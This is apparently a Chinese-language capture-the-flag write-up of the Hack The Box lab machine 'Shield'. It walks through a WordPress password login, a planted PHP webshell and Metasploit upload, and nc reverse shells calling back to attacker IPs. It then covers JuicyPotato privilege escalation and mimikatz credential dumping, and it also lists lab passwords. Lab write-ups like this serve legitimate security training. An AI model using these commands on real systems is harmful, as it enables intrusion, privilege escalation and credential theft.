0x01 前言
根据hackthebox的惯性,我在这里收集了前面的所有密码:
-
Archetype:
Mssql:M3g4c0rp123
Administrator:MEGACORP_4dm1n!!
-
Oopsie
Mysql:M3g3C0rpUs3r!
ftp:mc@F1l3ZilL4
-
Vaccine
Zip:741852963
Web:qwerty789
postgres:P@s5w0rd!
0x02 过程
信息收集
Getshell
看到只有两个端口:80、3306,3306我尝试了连接,发现不给外链,那入口就应该在80端口,打开是一个iis默认的页面
开dirbuster进行目录扫描,发现是一个wordpress程序:
看到是wp中间散发了挺多思路的,首先是使用wpscan进行插件、主题漏洞扫描,之后是枚举用户密码。
后来发现wp的版本是大于5.0的,很多漏洞都不能利用了,尝试密码大法最终使用**P@s5w0rd!**成功登陆了后台:
编辑主题:http://10.10.10.29/wordpress/wp-admin/theme-editor.php?file=search.php&theme=twentysixteen
修改了search.php的内容为我们的冰蝎php马:
一句话地址:http://10.10.10.29/wordpress/wp-content/themes/twentysixteen/search.php
用冰蝎命令执行没有交互式,有交互式的虚拟终端太卡了。还是上msf吧:
msf > use exploit/unix/webapp/wp_admin_shell_upload
msf > set PASSWORD P@s5w0rd!
msf > set USERNAME admin
msf > set TARGETURI /wordpress
msf > set RHOSTS 10.10.10.29
msf > run
使用msf的shell还是不好用,毕竟是根据webshell来建立连接的:
还是直接上nc,使用刚才在冰蝎上传的nc.exe:
execute -f nc.exe -a "-e cmd.exe 10.10.14.33 1234"
提权
win2016以上估计也就只有烂土豆了,上传了一个,但不是webshell版本的,使用官方的方法,写入一个bat文件,内容为:
START C:\inetpub\wwwroot\wordpress\wp-content\uploads\nc.exe -e powershell.exe 10.10.14.2 1111
在反弹shell上面执行
echo START C:\inetpub\wwwroot\wordpress\wp-content\uploads\nc.exe -e powershell.exe 10.10.14.2 1111 > shell.bat
监听端口:
nc -lvp 1111
执行烂土豆:
JuicyPotato.exe -t * -p C:\inetpub\wwwroot\wordpress\wp-content\uploads\shell.bat -l 1337
官方说要把JuicyPotato.exe改名能躲过Windows Defender查杀,实验中不改名也可以正常使用。
后面就是获取用户的密码步骤了
上传mimikatz
./mimikatz.exe
sekurlsa::logonpasswords
获得用Sandra的密码, 估计这个密码在下面的靶机中也能用到
后面尝试了,为什么在webshell执行烂土豆的时候会失败,是因为没有加上CLSID参数,默认的是会出现COM -> recv failed with error: 10038失败的。
因为靶机是2016所以在https://github.com/ohpe/juicy-potato/tree/master/CLSID/Windows_Server_2016_Standard
找到2016的clsid就可以了。
0x03 总结
1、看到80端口必定有很大概率是从web入手的,一般扫一下目录就可以了。
2、这次web用的是wp,一开始就先尝试密码会省下很多时间。
3、烂土豆 (JuicyPotato)
使用方法:
(1)查看当前用户权限,是否符合要求
whoami /priv
如果开启SeImpersonate权限,juicypotato的参数可以使用-t t
如果开启SeAssignPrimaryToken权限,juicypotato的参数可以使用-t u
如果均开启,可以选择-t *
如果均未开启,那么无法提权
(2)查看RPC默认端口是否为135
如果被修改(例如为111),juicypotato的参数可以使用-n 111
如果系统禁用了RPC,并不是一定无法提权,需要满足如下条件:
找到另一系统,能够以当前用户的权限进行远程RPC登录,此时juicypotato的参数可以使用-k <ip>
例如Win7、WIn8系统,默认配置下,允许135端口的入站规则即可进行远程RPC登录
添加防火墙规则允许135端口入站的命令如下:
netsh advfirewall firewall add rule name="135" protocol=TCP dir=in localport=135 action=allow
也可以选择将防火墙关闭,可参考绕过UAC关闭防火墙的代码:
https://github.com/3gstudent/Use-COM-objects-to-bypass-UAC/blob/master/DisableFirewall.cpp
(3)根据操作系统选择可用的CLSID
参考列表 https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md
例如测试系统Server2012,选择CLSID为{8BC3F05E-D86B-11D0-A075-00C04FB68820}
(4)选择一个系统未占用的端口作为监听端口
例如,最终参数如下:
JuicyPotato.exe -t t -p c:\windows\system32\cmd.exe -l 1111 -c {8BC3F05E-D86B-11D0-A075-00C04FB68820}
表示开启SeImpersonate权限创建进程,监听端口1111,使用的CLSID为{8BC3F05E-D86B-11D0-A075-00C04FB68820}
- CLSID :https://github.com/ohpe/juicy-potato/tree/master/CLSID
- Windows本地提权工具Juicy-Potato测试分析 https://3gstudent.github.io/3gstudent.github.io/Windows%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83%E5%B7%A5%E5%85%B7Juicy-Potato%E6%B5%8B%E8%AF%95%E5%88%86%E6%9E%90/
- Potato家族本地提权分析 https://www.sec-in.com/article/583
- 记一次Windows渗透提权历程 https://xz.aliyun.com/t/5899
- Potato家族本地提权细节 https://xz.aliyun.com/t/7776
4、rlwrap
它是一个用于反弹shell的时候,我们通常按上下会出现乱码,使用这个辅助工具就可以正常使用上下减号等操作:
kali安装:
apt install rlwarp
其他系统可以参照:https://github.com/hanslub42/rlwrap
使用方法:
rlwarp nc -lvnp 1234
- 原文作者: F0rmat
- 原文链接: https://xxe.icu/shield.html
- 版权声明:本作品采用 署名 - 非商业性使用 4.0 国际 (CC BY-NC 4.0)进行许可,非商业转载请注明出处(作者,原文链接),商业转载请联系作者获得授权。